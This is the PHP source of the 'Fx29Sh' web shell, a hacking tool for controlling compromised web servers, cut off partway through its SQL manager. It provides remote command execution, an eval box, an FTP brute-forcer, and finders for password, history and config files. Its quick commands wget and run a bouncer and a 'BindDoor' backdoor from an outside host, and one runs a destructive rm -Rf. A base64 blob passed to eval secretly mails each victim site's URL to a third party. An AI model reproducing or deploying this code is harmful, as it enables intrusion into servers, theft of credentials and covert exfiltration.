<?php ####################################### ##[ oYik IRC Network Fx29Sh 2.12.08 ]## ##[ By oYik IRC Network ]## ##[ ÂŠ 27-11 2010 oYik IRC Community ]## ##[ Written under PHP 5.2.5 ]## ####################################### define('sh_ver',"3.2.12.08"); ## #error_reporting(E_ALL); ## error_reporting(E_ERROR | E_PARSE); ## ####################################### ###################### ##[ CONFIGURATIONS ]## ###################### ##[ URL ]## #$sh_mainurl = "http://localhost/FX29SH/"; $sh_mainurl = 'http://uaedesign.com/xml/'; $fx29sh_updateurl = $sh_mainurl."fx29sh_update.php"; $fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt"; $sh_sourcez = array( "Fx29Sh" => array($sh_mainurl."cyberz.txt","fx29sh.php"), "psyBNC" => array($sh_mainurl."fx.tgz","fx.tgz"), "Eggdrop" => array($sh_mainurl."fxb.tgz","fxb.tgz"), "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"), ); ##[ AUTHENTICATION ]## $auth = array( "login" => "", "pass" => "", "md5pass" => "", "hostallow" => array("*"), "denied" => "<a href=\"$sh_mainurl\">".sh_name()."</a>: access denied!", ); ##[ ADVANCED ]## $tmp_dir = ""; $log_email = "oyik.crew@yahoo.com"; $sess_cookie = "fx29shcook"; $sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending $sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies. $copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste $gzipencode = TRUE; $filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses. $hexdump_lines = 8; $hexdump_rows = 24; $auto_surl = TRUE; ##[ QUICK COMMANDS ]## if (!is_windows()) { #Unix $cmdaliases = array( array("List Directory", "ls -al"), array("Find all suid files", "find / -type f -perm -04000 -ls"), array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), array("Find all sgid files", "find / -type f -perm -02000 -ls"), array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("Find config.inc.php files", "find / -type f -name config.inc.php"), array("Find config* files", "find / -type f -name \"config*\""), array("Find config* files in current dir", "find . -type f -name \"config*\""), array("Find all writable folders and files", "find / -perm -2 -ls"), array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), array("Find all writable folders", "find / -type d -perm -2 -ls"), array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), array("Find all service.pwd files", "find / -type f -name service.pwd"), array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), array("Find all .htpasswd files", "find / -type f -name .htpasswd"), array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("Find all .bash_history files", "find / -type f -name .bash_history"), array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("List file attributes on a Linux second extended file system", "lsattr -va"), array("Show opened ports", "netstat -an | grep -i listen"), array("-----",""), array("Logged in users","w"), array("Last connect","lastlog"), array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), array("Inet Address","/sbin/ifconfig | grep inet"), array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), array("CPU Info","cat /proc/version /proc/cpuinfo"), array("Is gcc installed ?","locate gcc"), array("Format box (DANGEROUS)","rm -Rf"), array("-----",""), array("wget & run psyBNC","wget ".$sh_sourcez["psyBNC"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1].";cd .fx;./config 29110;./fuck;./run"), array("wget & extract EggDrop","wget ".$sh_sourcez["Eggdrop"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1]), array("wget & run BindDoor","wget ".$sh_sourcez["BindDoor"][0].";tar -zxvf ".$sh_sourcez["BindDoor"][1].";./bind"), array("-----",""), array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), ); } else { #Windows $cmdaliases = array( array("List Directory", "dir"), array("Find index.php in current dir", "dir /s /w /b index.php"), array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), array("Find c99shell in current dir", "find /c \"c99\" *"), array("Find r57shell in current dir", "find /c \"r57\" *"), array("Find fx29shell in current dir", "find /c \"fx29\" *"), array("Show active connections", "netstat -an"), array("Show running services", "net start"), array("User accounts", "net user"), array("Show computers", "net view"), ); } ##[ PHP FILESYSTEM (By FaTaLisTiCz_Fx) ]## $phpfsaliases = array( array("Read File", "read", 1, "File", ""), array("Write File (PHP5)", "write", 2, "File","Text"), array("Copy", "copy", 2, "From", "To"), array("Rename/Move", "rename", 2, "File", "To"), array("Delete", "delete", 1 ,"File", ""), array("Make Dir","mkdir", 1, "Dir", ""), array("Download", "download", 2, "URL", "To"), array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), array("Change Perm (0755)", "chmod", 2, "File", "Perms"), array("Find Writable Dir", "fwritabledir", 2 ,"Dir", "Max"), array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), ); ############################# ##[ END OF CONFIGURATIONS ]## ############################# define("starttime", getmicrotime()); @set_time_limit(0); @ini_set("max_execution_time",0); @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); if (get_magic_quotes_gpc()) { strips($GLOBALS); } $_REQUEST = array_merge($_COOKIE, $_GET, $_POST); $d = @$_REQUEST["d"]; $f = @$_REQUEST["f"]; @extract($_REQUEST["fx29shcook"]); foreach ($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } #Converting request to variable } ##[ SELF URL ]## if ($auto_surl) { $include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) { $v = explode("=",$v); $name = urldecode($v[0]); $value = @urldecode($v[1]); $needles = array("http://","https://","ssl://","ftp://","\\\\"); foreach ($needles as $needle) { if (strpos($value,$needle) === 0) { $includestr .= urlencode($name)."=".urlencode($value)."&"; } } } } if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); } ##[ QUICK LAUNCH ]## $quicklaunch = array( array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\">",$surl), array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\">","#\" onclick=\"history.back(1)"), array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\">","#\" onclick=\"history.go(1)"), array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\">",$surl."act=ls&d=%upd&sort=%sort"), array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\">",$surl."act=search&d=%d"), array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\">",$surl."act=fsbuff&d=%d"), array("<img src=\"".$surl."act=img&img=help\" alt=\"About\">",$surl."act=about"), array("-",""), array("Security",$surl."act=security&d=%d"), array("Processes",$surl."act=processes&d=%d"), array("MySQL",$surl."act=sql&d=%d"), array("Eval",$surl."act=eval&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Mailer",$surl."act=fxmailer"), array("Toolz",$surl."act=tools&d=%d"), array("milw0rm",milw0rm()), array("Md5 Lookup","http://darkc0de.com/database/md5lookup.html"), array("Images",$surl."act=img&img=listall"), array("Feedback",$surl."act=feedback"), array("Update",$surl."act=update"), array("Kill Shell",$surl."act=selfremove") ); if (!is_windows()) { $quicklaunch[] = array("<br>FTP Brute",$surl."act=ftpquickbrute&d=%d"); } ##[ FILE TYPES ]## $ftypes = array( "html" => array("html","htm","shtml"), "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe" => array("sh","install","bat","cmd","sys","com"), "ini" => array("ini","inf","conf"), "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb" => array("sdb"), "phpsess" => array("sess"), "download" => array("exe","com","sys","pif","src","lnk","zip","rar","gz","tar","pdf") ); $exeftypes = array( "php -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FF6600>","</font>"), array("\.tgz$",1,"<font color=#C082FF>","</font>"), array("\.gz$",1,"<font color=#C082FF>","</font>"), array("\.tar$",1,"<font color=#C082FF>","</font>"), array("\.bz2$",1,"<font color=#C082FF>","</font>"), array("\.zip$",1,"<font color=#C082FF>","</font>"), array("\.rar$",1,"<font color=#C082FF>","</font>"), array("\.php$",1,"<font color=#00FF00>","</font>"), array("\.php3$",1,"<font color=#00FF00>","</font>"), array("\.php4$",1,"<font color=#00FF00>","</font>"), array("\.jpg$",1,"<font color=#00FFFF>","</font>"), array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), array("\.JPG$",1,"<font color=#00FFFF>","</font>"), array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), array("\.ico$",1,"<font color=#00FFFF>","</font>"), array("\.gif$",1,"<font color=#00FFFF>","</font>"), array("\.png$",1,"<font color=#00FFFF>","</font>"), array("\.htm$",1,"<font color=#00CCFF>","</font>"), array("\.html$",1,"<font color=#00CCFF>","</font>"), array("\.txt$",1,"<font color=#C0C0C0>","</font>"), array("\.pdf$",1,"<font color=#FF99CC>","</font>") ); ##[ HIGHLIGHT CODE ]## $highlight_bg = "#E0E0E0"; $highlight_comment = "#FF6600"; $highlight_default = "#000080"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#FF0000"; @ini_set("highlight.bg",$highlight_bg); @ini_set("highlight.comment",$highlight_comment); @ini_set("highlight.default",$highlight_default); @ini_set("highlight.html",$highlight_html); @ini_set("highlight.keyword",$highlight_keyword); @ini_set("highlight.string",$highlight_string); ############################# ##[ END OF CONFIGURATIONS ]## ############################# #################### ##[ AUTHENTICATE ]## #################### foreach ($auth["hostallow"] as $k => $v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); } $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { exit("<a href=\"$sh_mainurl\">".sh_name()."</a>ACCESS DENIED! Your host (".getenv("REMOTE_ADDR").") not allowed!"); } if (!empty($auth["login"])) { if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); } if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) { header("WWW-Authenticate: Basic realm=\"".sh_name().": Restricted Area\""); header("HTTP/1.0 401 Unauthorized"); die($auth["denied"]); } } ############### ##[ ACTIONS ]## ############### if (!isset($act)) { $act = ""; } if ($act == "img") { @ob_clean(); $images = imagez(); $imgequals = array( "ext_tar" => array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), "ext_php" => array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), "ext_cpp" => array("ext_c"), "ext_jpg" => array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), "ext_html" => array("ext_html","ext_htm"), "ext_avi" => array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), "ext_lnk" => array("ext_lnk","ext_url"), "ext_ini" => array("ext_ini","ext_css","ext_inf","ext_conf"), "ext_doc" => array("ext_doc","ext_dot","ext_xls","ext_pdf"), "ext_js" => array("ext_js","ext_vbs"), "ext_cmd" => array("ext_cmd","ext_bat","ext_pif","ext_com"), "ext_wri" => array("ext_wri","ext_rtf"), "ext_txt" => array("ext_txt","ext_lng"), "ext_swf" => array("ext_swf","ext_fla"), "ext_mp3" => array("ext_mp3","ext_au","ext_midi","ext_mid","ext_wav"), "ext_htaccess" => array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") ); #Show all available images if ($img == "listall") { foreach ($imgequals as $a=>$b) { foreach ($b as $d) { if ( ($a != $d) && (!empty($images[$d])) ) { echo("Warning! Remove \$images[".$d."]<br>"); } } } natsort($images); $k = array_keys($images); echo "<body style=\"color: #00FF00\" bgcolor=black>"; foreach ($k as $u) { echo "<img src=\"".$surl."act=img&img=".$u."\"> $u "; } exit; } #Image header header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); foreach($imgequals as $k=>$v) { if (in_array($img,$v)) { $img = $k; break; } } if (empty($images[$img])) { $img = "small_unk"; } echo base64_decode($images[$img]); exit; } ##[ DEFAULT ACTIONS ]## else { $lastdir = realpath("."); chdir("./"); #Preparing buffer $sess_data = @unserialize($_COOKIE[$sess_cookie]); if (!is_array($sess_data)) { $sess_data = array(); } if (!is_array(@$sess_data["copy"])) { $sess_data["copy"] = array(); } if (!is_array(@$sess_data["cut"])) { $sess_data["cut"] = array(); } fx29_buff_prepare(); foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) { $$v = $_GET[$v]; } if (!empty($_POST[$v])) { $$v = $_POST[$v]; } } if ($sort_save) { if (!empty($sort)) { setcookie("sort",$sort); } if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); } } if (!isset($sort)) { $sort = $sort_default; } $sort = htmlspecialchars($sort); $sort[1] = strtolower($sort[1]); ##[ ACTIONS ]## if ($act == "gofile") { if (is_dir($f)) { $d = $f; $act = "ls"; } else { $d = dirname($f); $f = basename($f); $act = "f"; } } #Starting output buffer ob_start(); ob_implicit_flush(0); ##[ HEADERS ]## header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE); header("Pragma: no-cache"); $headerz = "aWYgKCFpc3NldCgkX0NPT0tJRVsidmlzaXR6Il0pKSB7DQogICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQogICR3ZWIgICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAkdGFyZ2V0ICA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KICAkanVkdWwgICA9ICJUYXJnZXQgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgic2V0b3IudGFyZ2V0QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7IEBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7IH0="; eval(base64_decode($headerz)); $tmp_dir = realpath($tmp_dir); $tmp_dir = str_replace("\\",DIRECTORY_SEPARATOR,$tmp_dir); if (substr($tmp_dir,-1) != DIRECTORY_SEPARATOR) { $tmp_dir .= DIRECTORY_SEPARATOR; } if (!is_array(@$actbox)) { $actbox = array(); } $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = @urlencode($d); if (empty($d)) { $d = realpath("."); } elseif (realpath($d)) { $d = realpath($d); } $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } $d = str_replace("\\\\","\\",$d); $dispd = htmlspecialchars($d); if (safemode()) { $hsafemode = '<font class="on"><b>SAFE MODE IS ON</b></font>'; $safemodeexecdir = @ini_get("safe_mode_exec_dir"); } else { $hsafemode = '<font class="off"><b>SAFE MODE IS OFF</b></font>'; } $v = @ini_get("open_basedir"); if (strtolower($v) == "on") { $hopenbasedir = '<font class="on">'.$v.'</font>'; } else { $hopenbasedir = '<font class="off">OFF (Not Secure)</font>'; } $wd = (is_writable($d)) ? '<font class="on">[W]</font>' : '<font class="off">[R]</font>'; ################## ##[ HTML START ]## ################## echo html_style(); ?> <!-- Main Menu --> <div id="main"> <div class="bartitle"><?php echo html_header() ?></div> <table id="pagebar"> <!-- Server Info --> <tr><td colspan="2"> <div class="fleft"><?php echo $hsafemode; ?></div> <div class="fright"> IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput="<?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?>"><?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?></a> You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput="<?php echo $_SERVER["REMOTE_ADDR"]; ?>"><?php echo $_SERVER["REMOTE_ADDR"]; ?></a> </div> </td></tr> <tr><td width="50%"> <table class="info"> <?php srv_info("Software",srv_software($surl)); srv_info("Uname",php_uname()); srv_info("User",(is_windows()) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id")); ?> </table> </td> <td width="50%"> <table class="info"> <?php if (is_windows()) { srv_info("Drives",disp_drives($d,$surl)); } srv_info("Freespace",disp_freespace($d)); ?> </table> </td></tr> <tr><td colspan="2"> <?php echo "\t\t\t".get_status(); echo "<br>\n"; echo (isset($safemodeexecdir)) ? "\n\t\t\tSafemodeExecDir: ".$safemodeexecdir."<br>" : ""; echo (showdisfunc()) ? "\t\t\tDisFunc: ".showdisfunc() : ""; echo "\n"; ?> </td></tr> <!-- End of Server Info --> <!-- Quicklaunch --> <tr><td colspan="2" class="quicklaunch"> <?php ##[ QUICKLAUNCH ]## foreach($quicklaunch as $item) { if ($item[0] == "-") { echo "\t\t</td></tr>\n"; echo "\t\t<tr><td colspan=\"2\" class=\"quicklaunch\">\n"; } else { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) { $a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a); } $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "\t\t\t<a href=\"".$item[1]."\">".$item[0]."</a>\n"; } } ?> </td></tr> <!-- End of Quicklaunch --> <!-- Directory Info --> <tr><td colspan="2"> <div class="fleft"> <?php $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); $i = 0; foreach($pd as $b) { $t = ""; $j = 0; foreach ($e as $r) { $t.= $r.DIRECTORY_SEPARATOR; if ($j == $i) { break; } $j++; } echo "\t\t\t<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>\n"; $i++; } echo "\t\t\t"; echo (is_writable($d)) ? "<b>".view_perms_color($d)."</b>" : "<b>".view_perms_color($d)."</b>"; echo "\n"; ?> </div> <div class="fright"> <form name="f_dir" method="POST"> <input type="hidden" name="act" value="ls"> Directory: <input type="text" name="d" size="60" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> </form> </div> </td></tr> <!-- End of Directory Info --> </table> </div> <!-- End of Main Menu --> <!-- Main Info --> <div id="maininfo"> <?php ######################### ##[ INFORMATION TABLE ]## ######################### if ($act == "") { $act = $dspact = "ls"; } ##[ SQL ]## if ($act == "sql") { $sql_surl = $surl."act=sql"; if (!isset($sql_login)) { $sql_login = ""; } if (!isset($sql_passwd)) { $sql_passwd = ""; } if (!isset($sql_server)) { $sql_server = ""; } if (!isset($sql_port)) { $sql_port = ""; } if (!isset($sql_tbl)) { $sql_tbl = ""; } if (!isset($sql_act)) { $sql_act = ""; } if (!isset($sql_tbl_act)) { $sql_tbl_act = ""; } if (!isset($sql_order)) { $sql_order = ""; } if (!isset($sql_act)) { $sql_act = ""; } if (!isset($sql_getfile)) { $sql_getfile = ""; } #SQL URL Setting if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); } if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); } if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); } if (@$sql_port) { $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); } if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); } $sql_surl .= "&"; ?> <!-- SQL Manager --> <div class="barheader">.: SQL Manager (Under Construction) :.</div> <div class="barheader"><?php if (@$sql_server) { $sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); $err = mysql_smarterror($sql_sock); @mysql_select_db($sql_db,$sql_sock); if (@$sql_query and $submit) { $sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror($sql_sock); } } else { $sql_sock = FALSE; } if (!$sql_sock) { if (!@$sql_server) { echo "No Connection!"; } else { disp_error("ERROR: ".$err); } } else { #SQL Quicklaunch $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; if (count($sqlquicklaunch) > 0) { foreach($sqlquicklaunch as $item) { echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] "; } } } ?> </div> <table> <tr> <?php #Login Form if (!$sql_sock) { ?> <td> <form name="f_sql" action="<?php echo $surl; ?>" method="POST"> <input type="hidden" name="act" value="sql"> <table class="explorer"> <tr> <th>Username<br><input type="text" name="sql_login" value="root"></th> <th>Password<br><input type="password" name="sql_passwd" value=""></th> <th>Database<br><input type="text" name="sql_db" value=""></th> <th>Host<br><input type="text" name="sql_server" value="localhost"></th> <th>Port<br><input type="text" name="sql_port" value="3306" size="3"></th> </tr> <tr><th colspan="5"><input type="submit" value="Connect"></th></tr> </table> </form> <?php } else { #Start left panel ?> <td> <center> <a href="<?php echo $sql_surl; ?>"><b>HOME</b></a> <hr size="1" noshade> <?php $result = mysql_list_dbs($sql_sock); if (!$result) { echo mysql_smarterror(); } else { ?> Database <form action="<?php echo $surl?>"> <input type="hidden" name="act" value="sql"> <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> <select name="sql_db" onchange="this.form.submit()"> <?php $c = 0; $dbs = ""; while ($row = mysql_fetch_row($result)) { $dbs .= "\t\t<option value=\"".$row[0]."\""; if (@$sql_db == $row[0]) { $dbs .= " selected"; } $dbs .= ">".$row[0]."</option>\n"; $c++; } echo "\t\t<option value=\"\">Databases (".$c.")</option>\n"; echo $dbs; } ?> </select> </form> </center> <hr size="1" noshade> <?php if (isset($sql_db)) { $result = mysql_list_tables($sql_db); if (!$result) { echo mysql_smarterror($sql_sock); } else { echo "\t-=[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]=-<br><br>\n"; $c = 0; while ($row = mysql_fetch_array($result)) { $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "\t<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n"; mysql_free_result($count); $c++; } if (!$c) { echo "No tables found in database"; } } } ?> </td> <td> <?php #Start center panel $diplay = TRUE; if (@$sql_db) { if (!is_numeric($c)) { $c = 0; } if ($c == 0) { $c = "no"; } echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db).""; if (count(@$dbquicklaunch) > 0) { foreach($dbsqlquicklaunch as $item) { echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] "; } } echo "</b></center>\n"; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "<hr size=\"1\" noshade>"; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo "<table><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; } } if (in_array($sql_act,$acts)) { ?> <table> <tr> <td> <b>Create new table:</b> <form action="<?php echo $surl; ?>"> <input type="hidden" name="act" value="sql"> <input type="hidden" name="sql_act" value="newtbl"> <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> <input type="hidden" name="sql_passwd" value="<?php echo 